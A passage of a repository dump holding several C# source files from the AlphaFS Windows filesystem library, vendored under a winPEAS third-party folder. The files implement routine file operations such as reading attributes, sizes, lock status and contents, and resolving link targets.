directory for which to obtain write date and time information.</param>\n      /// <param name=\"getUtc\"><c>true</c> gets the Coordinated Universal Time (UTC), <c>false</c> gets the local time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      ///   A <see cref=\"DateTime\"/> structure set to the date and time that the specified file or directory was last written to.\n      ///   Depending on <paramref name=\"getUtc\"/> this value is expressed in UTC- or local time.\n      /// </returns>\n      [SecurityCritical]\n      internal static DateTime GetLastWriteTimeCore(KernelTransaction transaction, string path, bool getUtc, PathFormat pathFormat)\n      {\n         var lastWriteTime = GetAttributesExCore<NativeMethods.WIN32_FILE_ATTRIBUTE_DATA>(transaction, path, pathFormat, false).ftLastWriteTime;\n\n         return getUtc ? DateTime.FromFileTimeUtc(lastWriteTime) : DateTime.FromFileTime(lastWriteTime);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetLinkTargetInfoCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Gets information about the target of a mount point or symbolic link on an NTFS file system.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnrecognizedReparsePointException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"reparsePath\">The path to the reparse point.</param>\n      /// <param name=\"continueOnException\">\n      ///    <para><c>true</c> suppress any Exception that might be thrown as a result from a failure,</para>\n      ///    <para>such as ACLs protected directories or non-accessible reparse points.</para>\n      /// </param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      ///   An instance of <see cref=\"LinkTargetInfo\"/> or <see cref=\"SymbolicLinkTargetInfo\"/> containing information about the symbolic link\n      ///   or mount point pointed to by <paramref name=\"reparsePath\"/>.\n      /// </returns>\n      [SecurityCritical]\n      internal static LinkTargetInfo GetLinkTargetInfoCore(KernelTransaction transaction, string reparsePath, bool continueOnException, PathFormat pathFormat)\n      {\n         // Codacy: The value of a static readonly field is computed at runtime while the value of a const field is calculated at compile time, which improves performance.\n\n         const ExtendedFileAttributes eAttributes = ExtendedFileAttributes.OpenReparsePoint | ExtendedFileAttributes.BackupSemantics;\n\n\n         using (var safeHandle = CreateFileCore(transaction, false, reparsePath, eAttributes, null, FileMode.Open, 0, FileShare.ReadWrite, pathFormat != PathFormat.LongFullPath, continueOnException, pathFormat))\n\n            return null != safeHandle ? Device.GetLinkTargetInfo(safeHandle, reparsePath) : null;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetProcessForFileLockCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.ObjectModel;\nusing System.ComponentModel;\nusing System.Diagnostics;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Linq;\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Gets a list of processes that have a lock on the file(s) specified by <paramref name=\"filePaths\"/>.</summary>\n      /// <returns>\n      /// <c>null</c> when no processes found that are locking the file(s) specified by <paramref name=\"filePaths\"/>.\n      /// A list of processes locking the file(s) specified by <paramref name=\"filePaths\"/>.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentOutOfRangeException\"/>\n      /// <exception cref=\"InvalidOperationException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\"></param>\n      /// <param name=\"filePaths\">A list with one or more file paths.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Usage\", \"CA1806:DoNotIgnoreMethodResults\", MessageId = \"Alphaleonis.Win32.Filesystem.NativeMethods.RmEndSession(System.UInt32)\")]\n      internal static Collection<Process> GetProcessForFileLockCore(KernelTransaction transaction, Collection<string> filePaths, PathFormat pathFormat)\n      {\n         if (!NativeMethods.IsAtLeastWindowsVista)\n            throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message);\n         \n         if (null == filePaths)\n            throw new ArgumentNullException(\"filePaths\");\n\n         if (filePaths.Count == 0)\n            throw new ArgumentOutOfRangeException(\"filePaths\", \"No paths specified.\");\n\n\n         var isLongPath = pathFormat == PathFormat.LongFullPath;\n         var allPaths = isLongPath ? new Collection<string>(filePaths) : new Collection<string>();\n\n         if (!isLongPath)\n            foreach (var path in filePaths)\n               allPaths.Add(Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck));\n\n\n\n\n         uint sessionHandle;\n         var success = NativeMethods.RmStartSession(out sessionHandle, 0, Guid.NewGuid().ToString()) == Win32Errors.ERROR_SUCCESS;\n\n         var lastError = Marshal.GetLastWin32Error();\n         if (!success)\n            NativeError.ThrowException(lastError);\n\n\n\n\n         var processes = new Collection<Process>();\n\n         try\n         {\n            // A snapshot count of all running processes.\n            var processesFound = (uint) Process.GetProcesses().Length;\n            uint lpdwRebootReasons = 0;\n\n\n            success = NativeMethods.RmRegisterResources(sessionHandle, (uint) allPaths.Count, allPaths.ToArray(), 0, null, 0, null) == Win32Errors.ERROR_SUCCESS;\n\n            lastError = Marshal.GetLastWin32Error();\n            if (!success)\n               NativeError.ThrowException(lastError);\n\n\n         GetList:\n\n            var processInfo = new NativeMethods.RM_PROCESS_INFO[processesFound];\n            var processesTotal = processesFound;\n\n\n            lastError = NativeMethods.RmGetList(sessionHandle, out processesFound, ref processesTotal, processInfo, ref lpdwRebootReasons);\n\n\n            // There would be no need for this because we already have a/the total number of running processes.\n            if (lastError == Win32Errors.ERROR_MORE_DATA)\n               goto GetList;\n\n\n            if (lastError != Win32Errors.ERROR_SUCCESS)\n               NativeError.ThrowException(lastError);\n\n\n            for (var i = 0; i < processesTotal; i++)\n            {\n               try\n               {\n                  processes.Add(Process.GetProcessById(processInfo[i].Process.dwProcessId));\n               }\n\n               // MSDN: The process specified by the processId parameter is not running. The identifier might be expired.\n               catch (ArgumentException) {}\n            }\n         }\n         finally\n         {\n            NativeMethods.RmEndSession(sessionHandle);\n         }\n\n\n         return processes.Count == 0 ? null : processes;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetSizeCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Retrieves the size of the specified file.</summary>\n      /// <returns>The file size of the first or all streams, in bytes.</returns>\n      /// <remarks>Use either <paramref name=\"path\"/> or <paramref name=\"safeFileHandle\"/>, not both.</remarks>\n      /// <param name=\"safeFileHandle\">The <see cref=\"SafeFileHandle\"/> to the file.</param>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file.</param>\n      /// <param name=\"sizeOfAllStreams\"><c>true</c> to retrieve the size of all alternate data streams, <c>false</c> to get the size of the first stream.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      internal static long GetSizeCore(SafeFileHandle safeFileHandle, KernelTransaction transaction, string path, bool sizeOfAllStreams, PathFormat pathFormat)\n      {\n         var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n         if (sizeOfAllStreams)\n            return FindAllStreamsCore(transaction, pathLp);\n\n\n         var callerHandle = null != safeFileHandle;\n\n         if (!callerHandle)\n            safeFileHandle = CreateFileCore(transaction, false, pathLp, ExtendedFileAttributes.Normal, null, FileMode.Open, FileSystemRights.ReadData, FileShare.ReadWrite, true, false, PathFormat.LongFullPath);\n         \n         long fileSize;\n\n         try\n         {\n            var success = NativeMethods.GetFileSizeEx(safeFileHandle, out fileSize);\n\n            var lastError = Marshal.GetLastWin32Error();\n\n            if (!success && lastError != Win32Errors.ERROR_SUCCESS)\n               NativeError.ThrowException(lastError, path);\n         }\n         finally\n         {\n            // Handle is ours, dispose.\n            if (!callerHandle && null != safeFileHandle && !safeFileHandle.IsClosed)\n               safeFileHandle.Close();\n         }\n\n         return fileSize;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.ImportExportEncryptedFileDirectoryRawCore.cs",
    "content": "﻿/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Runtime.InteropServices;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      internal static void ImportExportEncryptedFileDirectoryRawCore(bool isExport, bool isFolder, Stream stream, string destinationPath, bool overwriteHidden, PathFormat pathFormat)\n      {\n         var destinationPathLp = Path.GetExtendedLengthPathCore(null, destinationPath, pathFormat, GetFullPathOptions.FullCheck | GetFullPathOptions.TrimEnd);\n\n         var mode = isExport ? NativeMethods.EncryptedFileRawMode.CreateForExport : NativeMethods.EncryptedFileRawMode.CreateForImport;\n\n         if (isFolder)\n            mode = mode | NativeMethods.EncryptedFileRawMode.CreateForDir;\n\n         if (overwriteHidden)\n            mode = mode | NativeMethods.EncryptedFileRawMode.OverwriteHidden;\n\n\n         // OpenEncryptedFileRaw()\n         // 2015-08-02: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n\n         SafeEncryptedFileRawHandle context;\n         var lastError = NativeMethods.OpenEncryptedFileRaw(destinationPathLp, mode, out context);\n\n         try\n         {\n            if (lastError != Win32Errors.NO_ERROR)\n               NativeError.ThrowException((int) lastError, isFolder, destinationPathLp);\n\n\n            lastError = isExport\n               ? NativeMethods.ReadEncryptedFileRaw((pbData, pvCallbackContext, length) =>\n               {\n                  try\n                  {\n                     var data = new byte[length];\n\n                     Marshal.Copy(pbData, data, 0, (int) length);\n\n                     stream.Write(data, 0, (int) length);\n                  }\n                  catch (Exception ex)\n                  {\n                     return Marshal.GetHRForException(ex) & NativeMethods.OverflowExceptionBitShift;\n                  }\n\n                  return (int) Win32Errors.NO_ERROR;\n\n               }, IntPtr.Zero, context)\n\n\n               : NativeMethods.WriteEncryptedFileRaw((IntPtr pbData, IntPtr pvCallbackContext, ref uint length) =>\n               {\n                  try\n                  {\n                     var data = new byte[length];\n\n                     length = (uint) stream.Read(data, 0, (int) length);\n\n                     if (length == 0)\n                        return (int) Win32Errors.NO_ERROR;\n\n                     Marshal.Copy(data, 0, pbData, (int) length);\n                  }\n                  catch (Exception ex)\n                  {\n                     return Marshal.GetHRForException(ex) & NativeMethods.OverflowExceptionBitShift;\n                  }\n\n                  return (int) Win32Errors.NO_ERROR;\n\n               }, IntPtr.Zero, context);\n\n\n            if (lastError != Win32Errors.NO_ERROR)\n               NativeError.ThrowException((int) lastError, isFolder, destinationPathLp);\n         }\n         finally\n         {\n            if (null != context && !context.IsClosed)\n               context.Dispose();\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.IsLockedCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Determines whether the specified file is in use (locked).</summary>\n      /// <returns>Returns <c>true</c> if the specified file is in use (locked); otherwise, <c>false</c></returns>\n      /// <exception cref=\"FileNotFoundException\"></exception>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"Exception\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"filePath\">The path to the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static bool IsLockedCore(KernelTransaction transaction, string filePath, PathFormat pathFormat)\n      {\n         try\n         {\n            // Use FileAccess.Read since FileAccess.ReadWrite always fails when file is read-only.\n            using (OpenCore(transaction, filePath, FileMode.Open, FileAccess.Read, FileShare.None, ExtendedFileAttributes.Normal, null, null, pathFormat)) {}\n         }\n         catch (IOException ex)\n         {\n            var lastError = Marshal.GetHRForException(ex) & NativeMethods.OverflowExceptionBitShift;\n            if (lastError == Win32Errors.ERROR_SHARING_VIOLATION || lastError == Win32Errors.ERROR_LOCK_VIOLATION)\n               return true;\n\n            throw;\n         }\n         catch (Exception ex)\n         {\n            NativeError.ThrowException(Marshal.GetHRForException(ex) & NativeMethods.OverflowExceptionBitShift, filePath);\n         }\n\n         return false;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.OpenCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System.IO;\nusing System.Security.AccessControl;\nusing FileStream = System.IO.FileStream;\nusing System.Diagnostics.CodeAnalysis;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Opens a <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write access, the specified sharing option and additional options specified.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten.</param>\n      /// <param name=\"access\">A <see cref=\"FileAccess\"/> value that specifies the operations that can be performed on the file.</param>\n      /// <param name=\"share\">A <see cref=\"FileShare\"/> value specifying the type of access other threads have to the file.</param>\n      /// <param name=\"attributes\">Advanced <see cref=\"ExtendedFileAttributes\"/> options for this file.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The default buffer size is 4096.</param>\n      /// <param name=\"security\">The security.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      ///   <para>A <see cref=\"FileStream\"/> instance on the specified path, having the specified mode with</para>\n      ///   <para>read, write, or read/write access and the specified sharing option.</para>\n      /// </returns>\n      internal static FileStream OpenCore(KernelTransaction transaction, string path, FileMode mode, FileAccess access, FileShare share, ExtendedFileAttributes attributes, int? bufferSize, FileSecurity security, PathFormat pathFormat)\n      {\n         var rights = access == FileAccess.Read ? FileSystemRights.Read : (access == FileAccess.Write ? FileSystemRights.Write : FileSystemRights.Read | FileSystemRights.Write);\n\n         return OpenCore(transaction, path, mode, rights, share, attributes, bufferSize, security, pathFormat);\n      }\n\n\n      /// <summary>Opens a <see cref=\"FileStream\"/> on the specified path, having the specified mode with read, write, or read/write access, the specified sharing option and additional options specified.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open.</param>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten.</param>\n      /// <param name=\"rights\">A <see cref=\"FileSystemRights\"/> value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten along with additional options.</param>\n      /// <param name=\"share\">A <see cref=\"FileShare\"/> value specifying the type of access other threads have to the file.</param>\n      /// <param name=\"attributes\">Advanced <see cref=\"ExtendedFileAttributes\"/> options for this file.</param>\n      /// <param name=\"bufferSize\">A positive <see cref=\"System.Int32\"/> value greater than 0 indicating the buffer size. The default buffer size is 4096.</param>\n      /// <param name=\"security\">The security.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      ///   <para>A <see cref=\"FileStream\"/> instance on the specified path, having the specified mode with</para>\n      ///   <para>read, write, or read/write access and the specified sharing option.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      internal static FileStream OpenCore(KernelTransaction transaction, string path, FileMode mode, FileSystemRights rights, FileShare share, ExtendedFileAttributes attributes, int? bufferSize, FileSecurity security, PathFormat pathFormat)\n      {\n         var access = ((rights & FileSystemRights.ReadData) != 0 ? FileAccess.Read : 0) |\n                      ((rights & FileSystemRights.WriteData) != 0 || (rights & FileSystemRights.AppendData) != 0 ? FileAccess.Write : 0);\n\n\n         SafeFileHandle safeHandle = null;\n\n         try\n         {\n            safeHandle = CreateFileCore(transaction, false, path, attributes, security, mode, rights, share, true, false, pathFormat);\n\n            return new FileStream(safeHandle, access, bufferSize ?? NativeMethods.DefaultFileBufferSize, (attributes & ExtendedFileAttributes.Overlapped) != 0);\n         }\n         catch\n         {\n            if (null != safeHandle && !safeHandle.IsClosed)\n               safeHandle.Close();\n\n            throw;\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.ReadAllBytesCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Globalization;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Opens a binary file, reads the contents of the file into a byte array, and then closes the file.</summary>\n      /// <exception cref=\"IOException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A byte array containing the contents of the file.</returns>\n      [SecurityCritical]\n      internal static byte[] ReadAllBytesCore(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         byte[] buffer;\n\n         using (var fs = OpenReadTransacted(transaction, path, pathFormat))\n         {\n            var offset = 0;\n            var length = fs.Length;\n\n            if (length > int.MaxValue)\n               throw new IOException(string.Format(CultureInfo.InvariantCulture, \"File larger than 2GB: [{0}]\", path));\n\n            var count = (int) length;\n            buffer = new byte[count];\n\n            while (count > 0)\n            {\n               var n = fs.Read(buffer, offset, count);\n               if (n == 0)\n                  throw new IOException(\"UNEXPECTED end of file found\");\n               offset += n;\n               count -= n;\n            }\n         }\n\n         return buffer;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.ReadAllLinesCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Collections.Generic;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\nusing System.Text;\nusing StreamReader = System.IO.StreamReader;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Opens a file, read all lines of the file with the specified encoding, and then close the file.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to open for reading.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>An IEnumerable string containing all lines of the file.</returns>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      internal static IEnumerable<string> ReadAllLinesCore(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat)\n      {\n         using (var sr = new StreamReader(OpenCore(transaction, path, FileMode.Open, FileAccess.Read, FileShare.Read, ExtendedFileAttributes.SequentialScan, null, null, pathFormat), encoding))\n         {\n            string line;\n\n            while (null != (line = sr.ReadLine()))\n\n               yield return line;\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.ReadAllTextCore.cs",
